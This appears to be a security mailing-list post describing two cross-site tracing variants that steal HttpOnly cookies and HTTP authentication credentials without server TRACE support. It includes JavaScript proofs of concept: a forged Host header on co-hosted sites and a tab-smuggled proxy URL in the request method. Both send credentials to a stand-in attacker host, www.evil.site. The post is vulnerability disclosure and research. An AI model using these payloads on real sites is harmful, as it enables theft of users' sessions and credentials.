TRACE without Web Server Vulnerability

Putting aside issues such as the importance of XST, the signal-to-noise ratio in WhiteHat's paper, the importance of XSS at large, and "whose fault is it", I would like to show two variants of the XST attacks, which do not require TRACE support at the server (therefore technically perhaps do not exactly fall under XST...). So assuming some way is found to execute JS at the context of the vulnerable site (whether via XSS or via browser vulnerability), the variants presented below escalate this problem (XSS or browser vulnerability - which can be used to compromise regular cookies) into the ability to compromise HttpOnly cookies and HTTP authentication credentials as well.


It should be stressed that the variants cover only particular scenarios, as described below.


Here are the variants. I assume that www.vuln.site is the site whose credentials (in the victim's browser) are to be stolen. I assume www.evil.site is a site under the attacker's control.


1. Co-Hosted sites. Let's say we have www.vuln.site, co-hosted (i.e. same IP and port. e.g. two vitual hosts on the same server, or load balancer address) with www.evil.site . Now, assume, through the numerous tricks of cross-domaining the browser, or by XSS, that you manage to run JS in www.vuln.site. And now, let's say that the server does not support TRACE. Here's what you can do:


<script>
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.vuln.site/cgi-bin/collect-those-credentials.cgi",false);
XmlHttp.setRequestHeader("Host","www.evil.site");
XmlHttp.send();
<script>


The request formed is actually:


GET /cgi-bin/collect-those-credentials.cgi HTTP/1.0
...
Host: www.evil.site
...


Which is sent to the TCP endpoint www.vuln.site:80. So it goes directly to www.evil.site, with whatever cookies and HTTP auth info that the browser normally sends http://www.vuln.site/.


Now the only thing that remains for one to do is to set up a credential-collecting script (/cgi-bin/collect-those-credentials.cgi) which records the relevant HTTP headers, and that's it.


This was verified with IE 6.0 SP1 and with the two sites co-hosted in IIS/5.0.



2. Site that support proxying (checked with Apache). Unlike the above variant, here www.evil.site can be located somewhere in the Internet (no need for co-hosting). Here's the trick:


<script>
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET\thttp://www.evil.site/cgi-bin/collect-those-credentials.cgi","http://www.vuln.site/wherever",false);
XmlHttp.send();
<script>


Note that simply sending "GET http://..." fails - XmlHttp seems to ignore data in the method argument past the first space. Apache however can take a HT (\t)between the method and the URL, and ignores data after the first space, which is perfect for this attack, as by this it ignores the "original" URL.


The GET request (with cookies and all) is thus proxied by the web server (www.vuln.site) to www.evil.site. QED.


This was verified with IE 6.0 SP1 and Apache/1.3.23 with mod_proxy.

Thanks to Security Focus mailing lists for this info!